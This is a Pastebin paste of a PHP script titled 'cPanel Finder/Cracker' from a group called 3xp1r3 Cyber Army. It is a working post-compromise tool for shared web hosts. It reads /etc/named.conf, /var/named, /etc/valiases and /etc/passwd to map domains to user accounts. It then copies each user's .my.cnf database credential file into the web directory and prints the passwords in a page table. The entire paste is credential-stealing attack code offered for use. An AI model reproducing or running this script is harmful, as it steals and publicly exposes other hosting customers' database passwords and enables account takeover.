Advertisement
1337_Brain

cPanel Cracker | 3xp1r3 Cyber Army

Jun 15th, 2015
4,386
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.18 KB | None | 0 0
  1. <?php
  2. /**
  3.  * @author: FaisaL Ahmed aka rEd X
  4.  * @Screenshot: http://prntscr.com/7c1p34
  5.  * @Last Updated: 01 June 2015
  6. */
  7.  
  8. @ini_set('display_errors',0);
  9. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  10.     $ar0=explode($marqueurDebutLien, $text);
  11.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  12.     return trim($ar1[0]);
  13. }
  14.  
  15. echo '<html><head>
  16. <title>Automatic cPanel Finder/Cracker | 3xp1r3 Cyber Army</title>
  17. <meta content="text/html; charset=utf-8">
  18. <meta name="keywords" content="cPanel Cracker, 3xp1r3, 3xp1r3 Cyber Army, rEd X" />
  19. <meta name="description" content="Automatic cPanel Finder/Cracker" />
  20. <meta name="author" content="rEd X" />
  21. <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
  22. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  23. <link rel="stylesheet" type="text/css" href="http://faisalahmed.me/wp-content/assets/css/1.css">
  24. </head><body>';
  25. echo '<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">cPanel Finder/Cracker<br /><sub>3xp1r3 Cyber Army</sub></div><br/>';
  26.  
  27. echo "<center>";
  28. $d0mains = @file('/etc/named.conf');
  29. $domains = scandir("/var/named");
  30.  
  31. if ($domains or $d0mains)
  32. {
  33.     $domains = scandir("/var/named");
  34.     if($domains) {
  35. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  36. $count=1;
  37. $dc = 0;
  38. $list = scandir("/var/named");
  39. foreach($list as $domain){
  40. if(strpos($domain,".db")){
  41. $domain = str_replace('.db','',$domain);
  42. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  43. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  44. $path = getcwd();
  45.  
  46. if (is_readable($dirz)) {
  47. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  48. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  49. $password=entre2v2($p,'password="','"');
  50. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  51. $dc++;
  52. }
  53.  
  54. }
  55. }
  56. echo '</table>';
  57. $total = $dc;
  58. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  59. echo '</center>';
  60. }else{
  61. $d0mains = @file('/etc/named.conf');
  62.     if($d0mains) {
  63. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  64. $count=1;
  65. $dc = 0;
  66. $mck = array();
  67. foreach($d0mains as $d0main){
  68.     if(@eregi('zone',$d0main)){
  69.         preg_match_all('#zone "(.*)"#',$d0main,$domain);
  70.         flush();
  71.         if(strlen(trim($domain[1][0])) >2){
  72.             $mck[] = $domain[1][0];
  73.         }
  74.     }
  75. }
  76. $mck = array_unique($mck);
  77. $usr = array();
  78. $dmn = array();
  79. foreach($mck as $o) {
  80.     $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  81.     $usr[] = $infos['name'];
  82.     $dmn[] = $o;
  83. }
  84. array_multisort($usr,$dmn);
  85. $dt = file('/etc/passwd');
  86. $passwd = array();
  87. foreach($dt as $d) {
  88.     $r = explode(':',$d);
  89.     if(strpos($r[5],'home')) {
  90.         $passwd[$r[0]] = $r[5];
  91.     }
  92. }
  93. $l=0;
  94. $j=1;
  95. foreach($usr as $r) {
  96. $dirz = '/home/'.$r.'/.my.cnf';
  97. $path = getcwd();
  98. if (is_readable($dirz)) {
  99. copy($dirz, ''.$path.'/'.$r.'.txt');
  100. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  101. $password=entre2v2($p,'password="','"');
  102. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  103. $dc++;
  104.                 flush();
  105.                 $l=$l?0:1;
  106.                 $j++;
  107.                                 }
  108.             }
  109.                         }
  110. echo '</table>';
  111. $total = $dc;
  112. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  113. echo '</center>';
  114.  
  115. }
  116. }else{
  117. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  118. }
  119.  
  120. echo "<br>&#169; <font color='#FF0000'>rEd X</font> | 3xp1r3 Cyber Army";
  121. echo "</body></html>";
  122. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement